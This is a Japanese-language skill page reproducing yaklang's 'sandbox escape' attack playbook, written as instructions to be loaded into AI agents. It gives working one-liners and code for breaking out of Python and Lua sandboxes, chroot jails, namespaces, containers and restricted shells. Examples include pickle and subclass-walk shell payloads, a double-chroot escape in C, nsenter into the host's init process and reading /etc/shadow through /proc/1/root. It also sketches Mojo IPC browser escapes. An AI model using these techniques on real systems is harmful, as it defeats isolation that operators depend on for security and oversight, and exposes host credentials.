sandbox-escape-techniques
サンドボックス脱出のプレイブック。Python・Lua サンドボックス、seccomp フィルタ、chroot jail、コンテナ/Docker、ブラウザサンドボックス、名前空間分離などの制限を突破し、無制限のコード実行やファイルアクセスを達成したい場合に使用する。
description の原文を見る
>- Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
SKILL.md 本文
SKILL: サンドボックスエスケープ — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: Python、Lua、seccomp、chroot、Docker/コンテナ、ブラウザサンドボックスの各コンテキストにおけるエキスパート級のサンドボックスエスケープ技術。CTF pyjail パターン、seccomp アーキテクチャの混乱、chroot fd リーク、ネームスペースエスケープ、および Mojo IPC 悪用をカバー。ctf-wiki サンドボックスセクションと実際のコンテナエスケープから抽出されたもの。ベースモデルはサンドボックスタイプ間の区別を見落とし、間違ったエスケープ技術を適用することが多い。
0. 関連ルーティング
browser-exploitation-v8— ブラウザサンドボックスエスケープ前のレンダラー RCE 用 V8 悪用container-escape-techniques— Docker/コンテナ固有のエスケープ技術kernel-exploitation— コンテナ/ネームスペースエスケープ用カーネル悪用linux-privilege-escalation— エスケープ後の権限昇格
高度なリファレンス
PYTHON_SANDBOX_ESCAPE.md— 完全な pyjail 方法論:__builtins__復元、キーワードバイパス、AST バイパス、pickle エスケープSECCOMP_BYPASS.md— アーキテクチャ混乱、io_uring バイパス、ptrace バイパス、許可されたシステムコール連鎖
1. サンドボックスタイプの識別
| サンドボックスタイプ | インジケータ | 典型的なコンテキスト |
|---|---|---|
| Python サンドボックス (pyjail) | 制限された builtins、フィルタされたキーワード、exec/eval 利用可能 | CTF、オンライン判定、Jupyter |
| Lua サンドボックス | os、io モジュール不可; メタテーブル制限 | ゲームスクリプト、設定 |
| seccomp | システムコールフィルタリング、prctl(PR_SET_SECCOMP) | CTF pwn、コンテナ強化 |
| chroot | ルートファイルシステム変更、制限された /proc アクセス | レガシー分離 |
| Docker/コンテナ | ネームスペース、cgroups、削減されたケーパビリティ | クラウド、マイクロサービス |
| ブラウザ (レンダラ) | OS レベルのサンドボックス (Linux 上の seccomp-bpf + ネームスペース) | Chrome、Firefox |
| ネームスペース分離 | PID/マウント/ネットワーク/ユーザーネームスペース | コンテナランタイム |
2. PYTHON サンドボックスエスケープ (概要)
完全な方法論については PYTHON_SANDBOX_ESCAPE.md を参照してください。
クイックリファレンス
| 技術 | ワンライナー |
|---|---|
| サブクラスウォーク | ().__class__.__bases__[0].__subclasses__() → os._wrap_close を検出 → __init__.__globals__['system'] |
| インポート復元 | __builtins__.__import__('os').system('sh') |
| getattr バイパス | getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os') |
| chr 構築 | eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) |
| Pickle エスケープ | pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") |
| コードオブジェクト | types.CodeType(...) を構築してから、カスタムバイトコードで exec() |
3. LUA サンドボックスエスケープ
制限環境バイパス
-- debug ライブラリが利用可能な場合:
debug.getinfo(1) -- 情報リーク
debug.getregistry() -- グローバルレジストリへのアクセス
debug.getupvalue(func, 1) -- クローズされた変数の読み取り
debug.setupvalue(func, 1, new_val) -- アップバリューの上書き
-- debug 経由で os モジュール復元:
local getupvalue = debug.getupvalue
-- 既知の関数のアップバリューをウォークして os/io への参照を検出
-- loadstring が利用可能な場合:
loadstring("os.execute('sh')")()
-- string.dump が利用可能な場合:
-- 関数バイトコードをダンプし、パッチを当て、修正した関数をロード
-- メタテーブルエスケープ:
-- rawset/rawget がブロックされていても __index/__newindex が存在する場合:
-- メタテーブルチェーンを偽造して制限されたグローバルにアクセス
Lua FFI エスケープ (LuaJIT)
-- LuaJIT FFI は C 関数アクセスを提供
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- require がブロックされていても ffi がプリロードされている場合:
-- package.loaded または debug.getregistry 経由で ffi を検出
4. CHROOT エスケープ
| 技術 | 条件 | 方法 |
|---|---|---|
| 実ルートへの open fd | ファイルディスクリプタが chroot 外からリーク | fchdir(leaked_fd) その後 chroot(".") |
| ダブル chroot | プロセスは chroot 内でルート | mkdir("x"); chroot("x"); chdir("../../../..") |
| TIOCSTI ioctl | ターミナルアクセス (fd 0 は TTY) | 親シェルにキーストロークを注入: ioctl(0, TIOCSTI, &c) |
| /proc アクセス | /proc が chroot 内にマウント | /proc/1/root/ → 実ルートファイルシステムへのアクセス |
| ptrace | CAP_SYS_PTRACE | chroot 外のプロセスにアタッチ |
| マウントネームスペース | 特権 | 実ルートを chroot 内にマウント |
ダブル Chroot エスケープ
// chroot 内でルートである必要があります
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // 古い chroot 内に新しい chroot
// 古い CWD は新しい chroot の外になります
// 実ルートまでナビゲート:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // 実ルートが現在の位置
execl("/bin/sh", "sh", NULL);
5. ブラウザサンドボックスエスケープ (概要)
Chrome サンドボックスアーキテクチャ (Linux)
レンダラープロセス:
├── seccomp-bpf (システムコールフィルタ)
├── PID ネームスペース (分離された PID)
├── ネットワークネームスペース (直接ネットワークなし)
├── マウントネームスペース (最小限のファイルシステム)
└── 削減されたケーパビリティ (CAP_SYS_ADMIN なし等)
エスケープベクトル
| ベクトル | 説明 |
|---|---|
| Mojo IPC バグ | ブラウザプロセスの Mojo インターフェースハンドラの UAF または型混乱 |
| 共有メモリ破損 | レンダラーとブラウザ間の共有メモリセグメントを破損 |
| GPU プロセスバグ | GPU プロセス (サンドボックス化が少ない) を踏み台として悪用 |
| カーネルエクスプロイト | カーネル脆弱性経由で直接エスケープ (全サンドボックスをバイパス) |
| シグナルハンドリング | サンドボックス境界を越えたシグナル配信のレース条件 |
Mojo インターフェース攻撃パターン
1. レンダラー RCE を達成 (V8/Blink バグ経由)
2. レンダラーから利用可能な Mojo インターフェースを列挙
3. 脆弱なインターフェースを検出 (メッセージハンドリング時の UAF、パラメータ検証の整数オーバーフロー)
4. 悪意のある Mojo メッセージを作成 → ブラウザプロセスでバグをトリガー
5. ブラウザプロセスはサンドボックス化されていない → フルシステムアクセス
6. ネームスペースエスケープ
ユーザーネームスペース昇格
# ユーザーネームスペースの作成が許可されている場合 (非特権):
unshare -Urm # 新しいユーザー + マウントネームスペースをルートとして作成
# ネームスペース内: マウント、変更などが可能
# エスケープにはカーネルバグまたは設定ミスが必要
PID ネームスペースエスケープ
# /proc がホスト由来の場合 (コンテナ設定ミス):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# init プロセスのネームスペースに入る → ホストアクセス
マウントネームスペーストリック
# /proc/1/root 経由でホストファイルシステムが見える場合:
ls -la /proc/1/root/ # ホストのルートファイルシステム
cat /proc/1/root/etc/shadow # ホストファイルを読み取り
# マウントが可能な場合:
mount -t proc proc /proc
# ホストの /proc エントリにアクセス
7. RBASH / 制限されたシェルエスケープ
| 技術 | 方法 |
|---|---|
| vi/vim | :!/bin/bash または :set shell=/bin/bash その後 :shell |
| less/more | !/bin/bash |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| find | find / -exec /bin/bash \; |
| python/perl/ruby | python -c 'import pty;pty.spawn("/bin/bash")' |
| ssh | ssh user@host -t /bin/bash |
| 環境変数 | export PATH=/usr/bin:/bin; /bin/bash |
| cp | 許可されたディレクトリに /bin/bash をコピー |
| git | git help config → ページャーで !/bin/bash |
| エンコーディング | `echo /bin/bash |
8. デシジョンツリー
どのタイプのサンドボックス?
├── Python サンドボックス (pyjail)?
│ └── PYTHON_SANDBOX_ESCAPE.md を参照
│ ├── __builtins__ が利用可能? → 直接インポート
│ ├── サブクラスウォーク: ().__class__.__bases__[0].__subclasses__()
│ ├── キーワードがフィルタされている? → chr()/getattr() 構築
│ └── eval/exec が利用可能? → コードオブジェクト操作
│
├── Lua サンドボックス?
│ ├── debug ライブラリが利用可能? → getregistry/getupvalue
│ ├── FFI が利用可能 (LuaJIT)? → ffi.C.system()
│ ├── loadstring が利用可能? → 任意のコードをロード
│ └── すべてが制限されている? → メタテーブルチェーン悪用
│
├── seccomp フィルタ?
│ └── SECCOMP_BYPASS.md を参照
│ ├── アーキテクチャ混乱 (64 ビットからの 32 ビットシステムコール)
│ ├── 許可されたシステムコール → ORW チェーン
│ ├── io_uring が許可されている? → io_uring 経由でバイパス
│ └── ptrace が許可されている? → 子プロセスをデバッグ
│
├── chroot ジェイル?
│ ├── chroot 内でルート? → ダブル chroot エスケープ
│ ├── fd がリークされた? → fchdir で実ルートへ
│ ├── /proc がマウントされている? → /proc/1/root アクセス
│ └── ターミナルアクセス? → TIOCSTI インジェクション
│
├── コンテナ / Docker?
│ ├── 特権コンテナ? → ホストをマウント、カーネルモジュールをロード
│ ├── docker.sock がマウントされている? → docker API → エスケープ
│ ├── ../container-escape-techniques/SKILL.md を参照
│ └── カーネルエクスプロイト → 完全なエスケープ
│
├── ブラウザサンドボックス?
│ ├── レンダラー RCE を保有? → ブラウザエスケープ用 Mojo IPC をターゲット
│ ├── GPU プロセスにアクセス可能? → サンドボックス化が少ない踏み台
│ └── カーネルエクスプロイト → サンドボックスを完全にバイパス
│
└── 制限されたシェル (rbash)?
└── 任意のインタラクティブプログラムを検出 (vi、less、python、awk、git)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。